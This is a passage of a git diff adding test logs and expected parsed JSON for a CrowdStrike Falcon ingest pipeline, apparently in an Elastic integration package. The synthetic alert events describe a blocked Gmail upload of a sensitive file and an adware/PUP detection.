"e99a18c428cb38d5f260853678922e03", + "type": "file" + } + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log new file mode 100644 index 0000000000..7471623ccb --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log @@ -0,0 +1,2 @@ +{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressSessionId":"abc","SessionStartTimestamp":1761915027,"SessionEndTimestamp":1761915027,"UserMapped":true,"FilesEgressedCount":12}} +{"metadata":{"customerIDString":"2cc98db1a4xxxxxxxxxxc94d43bfab70","offset":689071490,"eventType":"DataProtectionDetectionSummaryEvent","eventCreationTime":1761895380000,"version":"1.0"},"event":{"AgentId":"5d77282ab4fxxxxxxxxxx65784cfa8f0","CompositeId":"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e","Name":"Test attempted to be uploaded to Google Gmail","Description":"Bob attempted to upload sensitive_123.txt to Google Gmail","Tactic":"Exfiltration","TacticId":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueId":"T1567","Severity":90,"SeverityName":"Critical","FalconHostLink":"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq","Destination":{"Channel":"web"},"UserName":"Bob","UserSid":"S-1-5-21-2123450692-2512345670-1234574870-1234","Hostname":"DESKTOP-OM905R2","PatternId":80005,"DataVolume":39,"DetectionType":"rule-based","Platform":"Windows","MitreAttack":[{"Tactic":"Exfiltration","TacticID":"TA0010","Technique":"Exfiltration Over Web Service","TechniqueID":"T1567"}],"EgressEventId":"180d01b9b65811f0a9f0c0892b3c995e","Policy":{"ID":"a6e6792845654b69a8a89e793421b77a","Name":"Data Protection Policy"},"MatchedClassification":{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"},"RelatedClassifications":[{"ID":"8318b19065af48fa839f9259022e5e0a","Name":"Test"}],"UserNotified":true,"ResponseAction":"blocked","RuleId":"7d81198e7da846b2a664afccc7f5d9e4","IsClipboard":false,"ContentPatterns":[{"ID":"4392b1416c974a488c31fbc4c97e89f6","Name":"Credentials","ConfidenceLevel":3,"MatchCount":1}],"ContentSha":"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08","Filename":"sensitive_123.txt","FileType":{"Type":{"ID":"48a7eca83afa42a78cf12b8f2f877eec","Name":"Plain Text","Description":"Plain Text (txt) File","CategoryID":"4689d0386bdd4e2e9423a0fc19dcaccb","CategoryName":"Document"}},"EventTimestamp":1761915027}} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json new file mode 100644 index 0000000000..c3a5e40937 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-data-protection-detection-summary.log-expected.json @@ -0,0 +1,247 @@ +{ + "expected": [ + { + "@timestamp": "2025-10-31T07:23:00.000Z", + "crowdstrike": { + "event": { + "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0", + "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e", + "Destination": { + "Channel": "web" + }, + "DetectionType": "rule-based", + "EgressSessionId": "abc", + "FilesEgressedCount": 12, + "MitreAttack": [ + { + "Tactic": "Exfiltration", + "TacticID": "TA0010", + "Technique": "Exfiltration Over Web Service", + "TechniqueID": "T1567" + } + ], + "PatternId": "80005", + "Severity": 90, + "SeverityName": "Critical", + "UserMapped": true + }, + "metadata": { + "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70", + "eventType": "DataProtectionDetectionSummaryEvent", + "offset": 689071490, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Test attempted to be uploaded to Google Gmail", + "category": [ + "malware" + ], + "created": "2025-10-31T07:23:00.000Z", + "duration": 0, + "end": "2025-10-31T12:50:27.000Z", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressSessionId\":\"abc\",\"SessionStartTimestamp\":1761915027,\"SessionEndTimestamp\":1761915027,\"UserMapped\":true,\"FilesEgressedCount\":12}}", + "outcome": "unknown", + "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq", + "severity": 99, + "start": "2025-10-31T12:50:27.000Z", + "type": [ + "info" + ] + }, + "file": { + "size": 39 + }, + "host": { + "name": "DESKTOP-OM905R2", + "os": { + "platform": "windows" + } + }, + "message": "Bob attempted to upload sensitive_123.txt to Google Gmail", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "DESKTOP-OM905R2" + ], + "user": [ + "Bob" + ] + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0010" + ], + "name": [ + "Exfiltration" + ] + }, + "technique": { + "id": [ + "T1567" + ], + "name": [ + "Exfiltration Over Web Service" + ] + } + }, + "user": { + "id": "S-1-5-21-2123450692-2512345670-1234574870-1234", + "name": "Bob" + } + }, + { + "@timestamp": "2025-10-31T07:23:00.000Z", + "crowdstrike": { + "event": { + "AgentId": "5d77282ab4fxxxxxxxxxx65784cfa8f0", + "CompositeId": "2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e", + "ContentPatterns": [ + { + "ConfidenceLevel": 3, + "ID": "4392b1416c974a488c31fbc4c97e89f6", + "MatchCount": 1, + "Name": "Credentials" + } + ], + "Destination": { + "Channel": "web" + }, + "DetectionType": "rule-based", + "EventTimestamp": "2025-10-31T12:50:27.000Z", + "FileType": { + "Type": { + "CategoryID": "4689d0386bdd4e2e9423a0fc19dcaccb", + "CategoryName": "Document", + "Description": "Plain Text (txt) File", + "ID": "48a7eca83afa42a78cf12b8f2f877eec", + "Name": "Plain Text" + } + }, + "IsClipboard": false, + "MatchedClassification": { + "ID": "8318b19065af48fa839f9259022e5e0a", + "Name": "Test" + }, + "MitreAttack": [ + { + "Tactic": "Exfiltration", + "TacticID": "TA0010", + "Technique": "Exfiltration Over Web Service", + "TechniqueID": "T1567" + } + ], + "PatternId": "80005", + "RelatedClassifications": [ + { + "ID": "8318b19065af48fa839f9259022e5e0a", + "Name": "Test" + } + ], + "ResponseAction": "blocked", + "RuleId": "7d81198e7da846b2a664afccc7f5d9e4", + "Severity": 90, + "SeverityName": "Critical", + "UserNotified": true + }, + "metadata": { + "customerIDString": "2cc98db1a4xxxxxxxxxxc94d43bfab70", + "eventType": "DataProtectionDetectionSummaryEvent", + "offset": 689071490, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Test attempted to be uploaded to Google Gmail", + "category": [ + "malware" + ], + "created": "2025-10-31T07:23:00.000Z", + "id": "180d01b9b65811f0a9f0c0892b3c995e", + "kind": "alert", + "original": "{\"metadata\":{\"customerIDString\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70\",\"offset\":689071490,\"eventType\":\"DataProtectionDetectionSummaryEvent\",\"eventCreationTime\":1761895380000,\"version\":\"1.0\"},\"event\":{\"AgentId\":\"5d77282ab4fxxxxxxxxxx65784cfa8f0\",\"CompositeId\":\"2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e\",\"Name\":\"Test attempted to be uploaded to Google Gmail\",\"Description\":\"Bob attempted to upload sensitive_123.txt to Google Gmail\",\"Tactic\":\"Exfiltration\",\"TacticId\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueId\":\"T1567\",\"Severity\":90,\"SeverityName\":\"Critical\",\"FalconHostLink\":\"https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq\",\"Destination\":{\"Channel\":\"web\"},\"UserName\":\"Bob\",\"UserSid\":\"S-1-5-21-2123450692-2512345670-1234574870-1234\",\"Hostname\":\"DESKTOP-OM905R2\",\"PatternId\":80005,\"DataVolume\":39,\"DetectionType\":\"rule-based\",\"Platform\":\"Windows\",\"MitreAttack\":[{\"Tactic\":\"Exfiltration\",\"TacticID\":\"TA0010\",\"Technique\":\"Exfiltration Over Web Service\",\"TechniqueID\":\"T1567\"}],\"EgressEventId\":\"180d01b9b65811f0a9f0c0892b3c995e\",\"Policy\":{\"ID\":\"a6e6792845654b69a8a89e793421b77a\",\"Name\":\"Data Protection Policy\"},\"MatchedClassification\":{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"},\"RelatedClassifications\":[{\"ID\":\"8318b19065af48fa839f9259022e5e0a\",\"Name\":\"Test\"}],\"UserNotified\":true,\"ResponseAction\":\"blocked\",\"RuleId\":\"7d81198e7da846b2a664afccc7f5d9e4\",\"IsClipboard\":false,\"ContentPatterns\":[{\"ID\":\"4392b1416c974a488c31fbc4c97e89f6\",\"Name\":\"Credentials\",\"ConfidenceLevel\":3,\"MatchCount\":1}],\"ContentSha\":\"21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08\",\"Filename\":\"sensitive_123.txt\",\"FileType\":{\"Type\":{\"ID\":\"48a7eca83afa42a78cf12b8f2f877eec\",\"Name\":\"Plain Text\",\"Description\":\"Plain Text (txt) File\",\"CategoryID\":\"4689d0386bdd4e2e9423a0fc19dcaccb\",\"CategoryName\":\"Document\"}},\"EventTimestamp\":1761915027}}", + "outcome": "failure", + "reference": "https://falcon.crowdstrike.com/data-protection/detections/2cc98db1a4xxxxxxxxxxc94d43bfab70:data-protection:5d77282ab4fxxxxxxxxxx65784cfa8f0:180d01b9b65811f0a9f0c0892b3c995e?_cid=g04000alcexxxxxxxxxxnfyokz7bajkq", + "severity": 99, + "type": [ + "info" + ] + }, + "file": { + "extension": "txt", + "hash": { + "sha256": "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08" + }, + "name": "sensitive_123.txt", + "size": 39 + }, + "host": { + "name": "DESKTOP-OM905R2", + "os": { + "platform": "windows" + } + }, + "message": "Bob attempted to upload sensitive_123.txt to Google Gmail", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hash": [ + "21cdfbea0d48077b93b4c4cccb23b7aadfea6f4e7fbb1237fdfd0caebf6efd08" + ], + "hosts": [ + "DESKTOP-OM905R2" + ], + "user": [ + "Bob" + ] + }, + "rule": { + "id": "a6e6792845654b69a8a89e793421b77a", + "name": "Data Protection Policy" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0010" + ], + "name": [ + "Exfiltration" + ] + }, + "technique": { + "id": [ + "T1567" + ], + "name": [ + "Exfiltration Over Web Service" + ] + } + }, + "user": { + "id": "S-1-5-21-2123450692-2512345670-1234574870-1234", + "name": "Bob" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log new file mode 100644 index 0000000000..a2b9028cc9 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log @@ -0,0 +1,197 @@ +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 1, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1686845212400, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1686845212400, + "ProcessEndTime": 0, + "ProcessId": 123123, + "ParentProcessId": 321321, + "ComputerName": "ELASTICHOST", + "UserName": "ELASTICUSER", + "DetectName": "NGAV", + "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.", + "Severity": 2, + "SeverityName": "Low", + "FileName": "TESTFILE.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE", + "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", + "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "MD5String": "49f30e09200e7b59edc5ef32fbd0442c", + "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "MachineDomain": "INTERNAL", + "NetworkAccesses": [ + { + "AccessType": 0, + "AccessTimestamp": 1686845157, + "Protocol": "TCP", + "LocalAddress": "10.0.0.1", + "LocalPort": 53517, + "RemoteAddress": "67.43.156.1", + "RemotePort": 443, + "ConnectionDirection": 0, + "IsIPV6": false + }, + { + "AccessType": 0, + "AccessTimestamp": 1686845158, + "Protocol": "TCP", + "LocalAddress": "10.0.0.2", + "LocalPort": 53518, + "RemoteAddress": "67.43.156.1", + "RemotePort": 80, + "ConnectionDirection": 0, + "IsIPV6": false + } + ], + "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", + "SensorId": "sensorid123", + "IOCType": "hash_sha256", + "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "DetectId": "detect::id::test", + "LocalIP": "89.160.20.112", + "MACAddress": "1c-2d-b3-4a-56-7e", + "Tactic": "Malware", + "Technique": "PUP", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "PatternDispositionValue": 2304, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": false, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": true, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": true, + "RegistryOperationBlocked": false, + "CriticalProcessDisabled": false, + "BootupSafeguardEnabled": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "KillActionFailed": false, + "BlockingUnsupportedOrDisabled": false, + "SuspendProcess": false, + "SuspendParent": false + }, + "ParentImageFileName": "", + "ParentCommandLine": "", + "GrandparentImageFileName": "", + "GrandparentCommandLine": "", + "HostGroups": "hostgroupsID", + "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", + "PatternId": 5728 + } +} +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 1, + "eventType": "DetectionSummaryEvent", + "eventCreationTime": 1686845212400, + "version": "1.0" + }, + "event": { + "ProcessStartTime": 1686845212400, + "ProcessEndTime": 0, + "ProcessId": 123123, + "ParentProcessId": 321321, + "ComputerName": "ELASTICHOST", + "UserName": "ELASTICUSER", + "DetectName": "NGAV", + "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.", + "Severity": 2, + "SeverityName": "Low", + "FileName": "TESTFILE.exe", + "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE", + "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", + "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "MD5String": "49f30e09200e7b59edc5ef32fbd0442c", + "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "MachineDomain": "INTERNAL", + "NetworkAccesses": [ + { + "AccessType": 0, + "AccessTimestamp": 1686845157, + "Protocol": "TCP", + "LocalAddress": "10.0.0.1", + "LocalPort": 53517, + "RemoteAddress": "67.43.156.1", + "RemotePort": 443, + "ConnectionDirection": 0, + "IsIPV6": false + }, + { + "AccessType": 0, + "AccessTimestamp": 1686845158, + "Protocol": "TCP", + "LocalAddress": "10.0.0.2", + "LocalPort": 53518, + "RemoteAddress": "67.43.156.1", + "RemotePort": 80, + "ConnectionDirection": 0, + "IsIPV6": false + } + ], + "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", + "SensorId": "sensorid123", + "IOCType": "hash_sha256", + "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "DetectId": "detect::id::test", + "LocalIP": "89.160.20.112", + "MACAddress": "1c-2d-b3-4a-56-7e", + "Tactic": "Malware", + "Technique": "PUP", + "Objective": "Falcon Detection Method", + "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "PatternDispositionValue": 2304, + "PatternDispositionFlags": { + "Indicator": false, + "Detect": false, + "InddetMask": false, + "SensorOnly": false, + "Rooting": false, + "KillProcess": false, + "KillSubProcess": false, + "QuarantineMachine": false, + "QuarantineFile": false, + "PolicyDisabled": true, + "KillParent": false, + "OperationBlocked": false, + "ProcessBlocked": true, + "RegistryOperationBlocked": false, + "CriticalProcessDisabled": false, + "BootupSafeguardEnabled": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "KillActionFailed": false, + "BlockingUnsupportedOrDisabled": false, + "SuspendProcess": false, + "SuspendParent": false + }, + "ParentImageFileName": "", + "ParentCommandLine": "", + "GrandparentImageFileName": "", + "GrandparentCommandLine": "", + "HostGroups": "hostgroupsID", + "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", + "PatternId": 5728, + "MitreAttack": [ + { + "Tactic": "Malware", + "Technique": "PUP", + "PatternID": 5728 + } + ] + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json new file mode 100644 index 0000000000..b65e20b211 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json @@ -0,0 +1,383 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T16:06:52.400Z", + "crowdstrike": { + "event": { + "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe", + "HostGroups": [ + "hostgroupsID" + ], + "IOCType": "hash_sha256", + "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "MACAddress": "1c-2d-b3-4a-56-7e", + "NetworkAccesses": [ + { + "AccessTimestamp": 1686845157, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.1", + "LocalPort": 53517, + "Protocol": "TCP", + "RemoteAddress": "67.43.156.1", + "RemotePort": 443 + }, + { + "AccessTimestamp": 1686845158, + "AccessType": 0, + "ConnectionDirection": 0, + "IsIPV6": false, + "LocalAddress": "10.0.0.2", + "LocalPort": 53518, + "Protocol": "TCP", + "RemoteAddress": "67.43.156.1", + "RemotePort": 80 + } + ], + "Objective": "Falcon Detection Method", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": true, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 2304, + "PatternId": "5728", + "SensorId": "sensorid123", + "Severity": 2, + "SeverityName": "Low" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "DetectionSummaryEvent", + "offset": 1, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "Detection, process would have been blocked if related prevention policy setting was enabled.", + "category": [ + "malware" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "alert", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 1,\n \"eventType\": \"DetectionSummaryEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"ProcessStartTime\": 1686845212400,\n \"ProcessEndTime\": 0,\n \"ProcessId\": 123123,\n \"ParentProcessId\": 321321,\n \"ComputerName\": \"ELASTICHOST\",\n \"UserName\": \"ELASTICUSER\",\n \"DetectName\": \"NGAV\",\n \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n \"Severity\": 2,\n \"SeverityName\": \"Low\",\n \"FileName\": \"TESTFILE.exe\",\n \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n \"MachineDomain\": \"INTERNAL\",\n \"NetworkAccesses\": [\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845157,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.1\",\n \"LocalPort\": 53517,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 443,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n },\n {\n \"AccessType\": 0,\n \"AccessTimestamp\": 1686845158,\n \"Protocol\": \"TCP\",\n \"LocalAddress\": \"10.0.0.2\",\n \"LocalPort\": 53518,\n \"RemoteAddress\": \"67.43.156.1\",\n \"RemotePort\": 80,\n \"ConnectionDirection\": 0,\n \"IsIPV6\": false\n }\n ],\n \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n \"SensorId\": \"sensorid123\",\n \"IOCType\": \"hash_sha256\",\n \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n \"DetectId\": \"detect::id::test\",\n \"LocalIP\": \"89.160.20.112\",\n \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n \"Tactic\": \"Malware\",\n \"Technique\": \"PUP\",\n \"Objective\": \"Falcon Detection Method\",\n \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n \"PatternDispositionValue\": 2304,\n \"PatternDispositionFlags\": {\n \"Indicator\": false,\n \"Detect\": false,\n \"InddetMask\": false,\n \"SensorOnly\": false,\n \"Rooting\": false,\n \"KillProcess\": false,\n \"KillSubProcess\": false,\n \"QuarantineMachine\": false,\n \"QuarantineFile\": false,\n \"PolicyDisabled\": true,\n \"KillParent\": false,\n \"OperationBlocked\": false,\n \"ProcessBlocked\": true,\n \"RegistryOperationBlocked\": false,\n \"CriticalProcessDisabled\": false,\n \"BootupSafeguardEnabled\": false,\n \"FsOperationBlocked\": false,\n \"HandleOperationDowngraded\": false,\n \"KillActionFailed\": false,\n \"BlockingUnsupportedOrDisabled\": false,\n \"SuspendProcess\": false,\n \"SuspendParent\": false\n },\n \"ParentImageFileName\": \"\",\n \"ParentCommandLine\": \"\",\n \"GrandparentImageFileName\": \"\",\n \"GrandparentCommandLine\": \"\",\n \"HostGroups\": \"hostgroupsID\",\n \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n \"PatternId\": 5728\n }\n}", + "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "hash": { + "md5": "49f30e09200e7b59edc5ef32fbd0442c", + "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2" + }, + "name": "TESTFILE.exe", + "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE" + }, + "host": { + "domain": "INTERNAL", + "name": "ELASTICHOST" + }, + "message": "This file is classified as Adware/PUP based on its SHA256 hash.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "process": { + "args": [ + "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", + "-Embedding" + ], + "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding", + "entity_id": "123123", + "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"", + "name": "TESTFILE.exe", + "parent": { + "entity_id": "321321", + "pid": 321321 + }, + "pid": 123123, + "start": "2023-06-15T16:06:52.400Z" + }, + "related": { + "hash": [ + "7e54a24d4df5b7fe4a75d7ce1c027705c368666b", + "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2", + "49f30e09200e7b59edc5ef32fbd0442c" + ], + "hosts": [ + "ELASTICHOST" + ], + "ip": [ + "89.160.20.112" + ], + "user": [ + "ELASTICUSER" + ] + }, + "rule": { + "description": "This file is classified as Adware/PUP based on its SHA256 hash.", + "id": "detect::id::test", + "name": "NGAV" + }, + "source": { + "as": { + "number": 29518, + "organization": { + 